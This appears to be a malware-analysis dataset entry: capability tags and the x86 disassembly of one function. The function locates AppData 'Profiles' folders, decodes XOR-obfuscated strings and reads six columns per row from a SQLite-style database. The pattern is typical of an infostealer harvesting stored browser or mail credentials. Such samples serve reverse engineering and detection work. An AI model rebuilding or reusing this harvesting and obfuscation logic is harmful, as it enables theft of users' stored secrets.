Function at 0x421764
Capabilities:
Get common file path
Get startup folder

Disassembly:
mov eax, 0x469f53
call fcn.00468300
sub esp, 0x444
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xbc], ecx
xor ebx, ebx
lea eax, [ebp - 0x450]
push eax
push ebx
push ebx
push 0x1a
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor eax, eax
mov dword [ebp - 0x9c], ebx
mov word [ebp - 0x9c], ax
lea ecx, [ebp - 0x9c]
lea eax, [ebp - 0x450]
mov dword [ebp - 0x8c], ebx
push eax
mov dword [ebp - 0x88], 7
call fcn.00413c78
mov esi, 0x7ffffffe
mov byte [ebp - 4], 1
mov eax, esi
sub eax, dword [ebp - 0x8c]
cmp eax, dword [ebp + 0x18]
jb 0x422111
cmp dword [ebp - 0x88], 8
lea ecx, [ebp - 0x9c]
push dword [ebp + 0x18]
cmovae ecx, dword [ebp - 0x9c]
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 8
cmovae eax, dword [ebp + 8]
push eax
push dword [ebp - 0x8c]
push ecx
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x78]
call fcn.004257c0
lea ecx, [ebp - 0x9c]
call fcn.00413c2d
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x9c]
call fcn.00413dc9
lea ecx, [ebp - 0x78]
call fcn.00413c2d
sub esi, dword [ebp - 0x8c]
cmp esi, 8
jb 0x422111
cmp dword [ebp - 0x88], 8
lea eax, [ebp - 0x9c]
push 8
cmovae eax, dword [ebp - 0x9c]
push str.Profiles
push dword [ebp - 0x8c]
push eax
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x78]
call fcn.004257c0
lea ecx, [ebp - 0x9c]
call fcn.00413c2d
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x9c]
call fcn.00413dc9
lea ecx, [ebp - 0x78]
call fcn.00413c2d
push ecx
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x78]
call fcn.0041453e
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 2
call fcn.0040c8bb
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 1
mov bl, al
call fcn.00413c2d
test bl, bl
je 0x4220ef
push ecx
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x78]
call fcn.0041453e
lea eax, [ebp - 0x78]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0xd8]
call fcn.0040c515
lea ecx, [ebp - 0x78]
call fcn.00413c2d
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0x80]
call fcn.0040d0e9
mov edi, dword [ebp - 0x80]
mov esi, dword [ebp - 0x7c]
mov dword [ebp - 0xac], edi
mov dword [ebp - 0xb4], edi
mov dword [ebp - 0xb0], esi
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0x130]
call fcn.0040d0e9
mov ecx, dword [ebp - 0x12c]
xor ebx, ebx
xorps xmm0, xmm0
mov eax, ebx
movlpd qword [ebp - 0x80], xmm0
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ebx
test ecx, ecx
je 0x421952
call fcn.0040aecf
mov eax, ebx
mov byte [ebp - 4], 7
cmp edi, eax
je 0x4220d5
lea esi, [edi + 0x20]
mov byte [ebp - 4], 8
mov ecx, esi
call fcn.0040c8bb
test al, al
je 0x4220a9
movaps xmm0, xmmword [0x47e800]
mov edx, ebx
push 0xf
movups xmmword [ebp - 0x55], xmm0
mov byte [ebp - 0x45], bl
pop edi
mov cl, byte [ebp - 0x55]
not cl
xor cl, byte [ebp + edx - 0x54]
mov byte [ebp + edx - 0x54], cl
inc edx
cmp edx, edi
jb 0x421987
push ecx
lea eax, [ebp - 0x78]
mov byte [ebp - 0x45], bl
push eax
mov ecx, esi
call fcn.00414478
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea edx, [ebp - 0x54]
cmovae ecx, dword [ebp - 0x78]
call fcn.00435a97
mov dword [ebp - 0xf8], ebx
lea ecx, [ebp - 0xf8]
push eax
mov dword [ebp - 0xe8], ebx
mov dword [ebp - 0xe4], edi
mov byte [ebp - 0xf8], bl
call fcn.00413e6c
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0xb
call fcn.00413e0b
push 9
pop edx
lea ecx, [ebp - 0x128]
call fcn.00435ec5
mov byte [ebp - 4], 0xc
lea esi, [ebp - 0x128]
cmp dword [ebp - 0x114], 0x10
cmovae esi, dword [ebp - 0x128]
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
mov dword [ebp - 0x110], ebx
lea ecx, [ebp - 0x110]
push eax
mov dword [ebp - 0x100], ebx
mov dword [ebp - 0xfc], edi
mov byte [ebp - 0x110], bl
call fcn.00413e6c
mov byte [ebp - 0xb8], bl
lea edx, [ebp - 0xf8]
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0xd
call fcn.00415604
pop ecx
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0xe
call fcn.0040c85f
lea ecx, [ebp - 0x78]
mov byte [ebp - 0x15], al
mov byte [ebp - 4], 0xd
call fcn.00413c2d
cmp byte [ebp - 0x15], 0
je 0x422067
mov byte [ebp - 0xe0], bl
lea edx, [ebp - 0x110]
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x5c]
call fcn.00415604
pop ecx
mov byte [ebp - 0xdc], bl
lea edx, [ebp - 0xf8]
push dword [ebp - 0xdc]
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0xf
call fcn.00415604
pop ecx
lea edx, [ebp - 0x5c]
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x78]
call fcn.0040c82d
lea ecx, [ebp - 0x78]
call fcn.00413c2d
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0xd
call fcn.00413c2d
cmp dword [ebp - 0x114], 0x10
lea edx, [ebp - 0xa8]
mov ecx, dword [0x48cc34]
lea eax, [ebp - 0x128]
cmovae eax, dword [ebp - 0x128]
push edx
push eax
call ecx
pop ecx
pop ecx
test eax, eax
jne 0x422067
movaps xmm0, xmmword [0x47e8a0]
mov edx, ebx
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x134], 0xf1e7eb
movaps xmm0, xmmword [0x47e9a0]
movups xmmword [ebp - 0x164], xmm0
movaps xmm0, xmmword [0x47e950]
movups xmmword [ebp - 0x154], xmm0
movaps xmm0, xmmword [0x47e900]
movups xmmword [ebp - 0x144], xmm0
mov cl, byte [ebp - 0x174]
not cl
xor byte [ebp + edx - 0x173], cl
inc edx
cmp edx, 0x42
jb 0x421b5a
mov eax, dword [0x48cc44]
lea ecx, [ebp - 0x14]
push ebx
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x173]
mov byte [ebp - 0x131], bl
push ecx
push dword [ebp - 0xa8]
call eax
add esp, 0x14
mov esi, eax
push ecx
lea ecx, [ebp - 0x248]
call fcn.00412acf
mov byte [ebp - 4], 0x11
test esi, esi
jne 0x42203a
push dword [ebp - 0x14]
mov eax, dword [0x48cc38]
call eax
pop ecx
cmp eax, 0x64
jne 0x421ecf
mov eax, dword [0x48cc58]
push ebx
push dword [ebp - 0x14]
call eax
pop ecx
pop ecx
push 1
push dword [ebp - 0x14]
mov dword [ebp - 0xa4], eax
mov eax, dword [0x48cc58]
call eax
pop ecx
pop ecx
push 2
push dword [ebp - 0x14]
mov dword [ebp - 0xc4], eax
mov eax, dword [0x48cc58]
call eax
pop ecx
pop ecx
mov ecx, dword [0x48cc58]
push 3
push dword [ebp - 0x14]
mov dword [ebp - 0xc0], eax
call ecx
pop ecx
pop ecx
push 4
push dword [ebp - 0x14]
mov dword [ebp - 0xd0], eax
mov eax, dword [0x48cc58]
call eax
pop ecx
pop ecx
push 5
push dword [ebp - 0x14]
mov dword [ebp - 0x84], eax
mov eax, dword [0x48cc58]
call eax
pop ecx
pop ecx
mov ecx, dword [0x48cc88]
mov edi, ebx
push 0xc
mov dword [ebp - 0x60], eax
pop esi
mov eax, dword [0x48cc8c]
sub eax, ecx
cdq
idiv esi
cmp edi, eax
jae 0x421d00
mov eax, dword [0x48cc7c]
cmp dword [eax + edi*4], ebx
jne 0x421cfa
mov esi, ebx
mov dword [ebp - 0xa0], ebx
imul edx, edi, 0xc
mov dword [ebp - 0xc8], 0x18
mov dword [ebp - 0xcc], edx
mov eax, dword [edx + ecx + 4]
sub eax, dword [edx + ecx]
cdq
idiv dword [ebp - 0xc8]
cmp esi, eax
jae 0x421cf7
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0xf
call fcn.00413e6c
mov eax, dword [0x48cc88]
mov edx, dword [ebp - 0xcc]
imul ecx, esi, 0x18
push ebx
add ecx, dword [edx + eax]
push ecx
lea ecx, [ebp - 0x5c]
call fcn.00413258
lea ecx, [ebp - 0x5c]
mov esi, eax
call fcn.00413e0b
cmp esi, 0xffffffff
je 0x421cdf
mov eax, dword [0x48cc7c]
mov dword [eax + edi*4], 1
mov esi, dword [ebp - 0xa0]
mov ecx, dword [0x48cc88]
inc esi
mov dword [ebp - 0xa0], esi
jmp 0x421c69
push 0xc
pop esi
inc edi
jmp 0x421c41
mov edx, dword [ebp - 0xa4]
mov ecx, 0x479c6b
call fcn.00435a97
mov ecx, eax
mov byte [ebp - 0x31], 0x26
mov al, 0x26
mov byte [ebp - 0x2f], bl
mov dl, 0xd0
not al
xor dl, al
mov byte [ebp - 0x30], dl
lea edx, [ebp - 0x30]
call fcn.00435a97
mov esi, eax
mov dword [ebp - 0x27], 0xbeb9bf14
mov cl, 0x14
mov word [ebp - 0x23], 0xae
mov edx, ebx
not cl
xor byte [ebp + edx - 0x26], cl
inc edx
cmp edx, 4
jae 0x421d50
mov cl, byte [ebp - 0x27]
jmp 0x421d3f
lea edx, [ebp - 0x26]
mov byte [ebp - 0x22], bl
mov ecx, esi
call fcn.00435a97
mov bl, 0x60
mov byte [ebp - 0x32], 0
mov ecx, eax
mov byte [ebp - 0x34], bl
mov al, 0x96
lea edx, [ebp - 0x33]
not bl
xor al, bl
xor ebx, ebx
mov byte [ebp - 0x33], al
mov byte [ebp - 0x32], bl
call fcn.00435a97
mov edx, dword [ebp - 0xc4]
mov ecx, eax
call fcn.00435a97
mov dl, 0x27
mov byte [ebp - 0x35], bl
mov ecx, eax
mov byte [ebp - 0x37], dl
not dl
mov al, 0xd1
xor al, dl
lea edx, [ebp - 0x36]
mov byte [ebp - 0x36], al
call fcn.00435a97
push 0x479e80
push dword [ebp - 0xc0]
mov esi, eax
call fcn.00445640
mov edx, ebx
pop ecx
pop ecx
test eax, eax
jne 0x421de8
mov cl, 0x26
mov dword [ebp - 0x21], 0x8c8b8d26
mov word [ebp - 0x1d], 0x9c
not cl
xor byte [ebp + edx - 0x20], cl
inc edx
cmp edx, 4
jae 0x421de0
mov cl, byte [ebp - 0x21]
jmp 0x421dcf
mov byte [ebp - 0x1c], bl
lea edx, [ebp - 0x20]
jmp 0x421e11
mov cl, 0x47
mov dword [ebp - 0x2e], 0xf4f9fe47
mov word [ebp - 0x2a], 0xfdeb
mov byte [ebp - 0x28], bl
not cl
xor byte [ebp + edx - 0x2d], cl
inc edx
cmp edx, 5
jae 0x421e0b
mov cl, byte [ebp - 0x2e]
jmp 0x421dfa
mov byte [ebp - 0x28], bl
lea edx, [ebp - 0x2d]
mov ecx, esi
call fcn.00435a97
mov bl, 0x3e
mov byte [ebp - 0x38], 0
mov ecx, eax
mov byte [ebp - 0x3a], bl
mov al, 0xc8
mov byte [ebp - 0x38], 0
not bl
lea edx, [ebp - 0x39]
xor al, bl
mov byte [ebp - 0x39], al
call fcn.00435a97
mov edx, dword [ebp - 0xd0]
mov ecx, eax
call fcn.00435a97
mov bl, 0x5e
mov byte [ebp - 0x3b], 0
mov ecx, eax
mov byte [ebp - 0x3d], bl
mov al, 0xa8
mov byte [ebp - 0x3b], 0
not bl
lea edx, [ebp - 0x3c]
xor al, bl
mov byte [ebp - 0x3c], al
call fcn.00435a97
mov edx, dword [ebp - 0x84]
mov ecx, eax
call fcn.00435a97
mov bl, 0x19
mov byte [ebp - 0x3e], 0
mov ecx, eax
mov byte [ebp - 0x40], bl
mov al, 0xef
lea edx, [ebp - 0x3f]
not bl
xor al, bl
xor ebx, ebx
mov byte [ebp - 0x3f], al
mov byte [ebp - 0x3e], bl
call fcn.00435a97
mov edx, dword [ebp - 0x60]
mov ecx, eax
call fcn.00435a97
cmp dword [0x48889c], 0x10
mov edx, 0x488888
mov ecx, eax
cmovae edx, dword [0x488888]
call fcn.00435a97
mov edx, eax
lea ecx, [ebp - 0x238]
call fcn.00414875
inc dword [0x48cc6c]
jmp 0x421bad
push dword [ebp - 0xbc]
mov dword [ebp - 0x5c], ebx
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], bl
call fcn.00413e6c
mov byte [ebp - 4], 0x12
lea edx, [ebp - 0x5c]
cmp dword [ebp - 0x48], 0x10
mov ecx, 0x479c6b
cmovae edx, dword [ebp - 0x5c]
call fcn.00435a97
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x11
mov esi, eax
call fcn.00413e0b
mov dl, 0x5d
mov byte [ebp - 0x41], bl
mov byte [ebp - 0x43], dl
mov al, 0xfd
not dl
mov ecx, esi
xor al, dl
lea edx, [ebp - 0x42]
mov byte [ebp - 0x42], al
call fcn.00435a97
mov ecx, dword [ebp - 0xac]
mov esi, eax
lea eax, [ebp - 0x198]
add ecx, 0x20
push eax
call fcn.0040bb89
push ecx
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x13
push ecx
mov ecx, eax
call fcn.00414478
mov byte [ebp - 4], 0x14
lea edx, [ebp - 0x5c]
cmp dword [ebp - 0x48], 0x10
mov ecx, esi
cmovae edx, dword [ebp - 0x5c]
call fcn.00435a97
lea ecx, [ebp - 0x5c]
mov esi, eax
call fcn.00413e0b
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0x11
call fcn.00413c2d
mov cl, 0x17
mov dword [ebp - 0x1b], 0x909cc617
mov word [ebp - 0x17], 0x9c
mov edx, ebx
not cl
xor byte [ebp + edx - 0x1a], cl
inc edx
cmp edx, 4
jae 0x421fa7
mov cl, byte [ebp - 0x1b]
jmp 0x421f96
lea edx, [ebp - 0x1a]
mov byte [ebp - 0x16], bl
mov ecx, esi
call fcn.00435a97
mov dword [ebp - 0x60], eax
lea ecx, [ebp - 0x230]
lea eax, [ebp - 0x78]
push eax
call fcn.004139f5
mov byte [ebp - 4], 0x15
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x84], eax
test eax, eax
je 0x42202e
cmp dword [ebp - 0x64], 0x10
lea edi, [ebp - 0x78]
movaps xmm0, xmmword [0x47e6d0]
mov esi, ebx
cmovae edi, dword [ebp - 0x78]
movups xmmword [ebp - 0x57], xmm0
mov word [ebp - 0x47], 0x95ba
mov byte [ebp - 0x45], bl
mov cl, byte [ebp - 0x57]
not cl
xor byte [ebp + esi - 0x56], cl
inc esi
cmp esi, 0x11
jb 0x421ff8
mov edx, dword [ebp - 0x60]
lea ecx, [ebp - 0x56]
mov byte [ebp - 0x45], bl
call fcn.00435a97
mov ecx, dword [0x48cc78]
mov edx, eax
push 3
push dword [ebp - 0x84]
push edi
call fcn.0043f07c
add esp, 0xc
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0x11
call fcn.00413e0b
push dword [ebp - 0x14]
call dword [0x48cc64]
pop ecx
push dword [ebp - 0xa8]
call dword [0x48cc54]
pop ecx
lea ecx, [ebp - 0x110]
call fcn.0040c96c
lea ecx, [ebp - 0x248]
call fcn.0040e5e7
lea ecx, [ebp - 0x110]
call fcn.00413e0b
lea ecx, [ebp - 0x128]
call fcn.00413e0b
lea ecx, [ebp - 0xf8]
call fcn.00413e0b
jmp 0x4220a9
lea ecx, [ebp - 0xb4]
mov dword [ebp - 4], 7
call fcn.0040c562
mov edi, dword [ebp - 0xb4]
mov esi, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xac], edi
jmp 0x421956
test esi, esi
je 0x4220e0
mov ecx, esi
call fcn.0040aecf
mov ecx, dword [ebp - 0xd4]
test ecx, ecx
je 0x4220ef
call fcn.0040aecf
lea ecx, [ebp - 0x9c]
call fcn.00413c2d
lea ecx, [ebp + 8]
call fcn.00413c2d
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
call fcn.0040a9d6
int3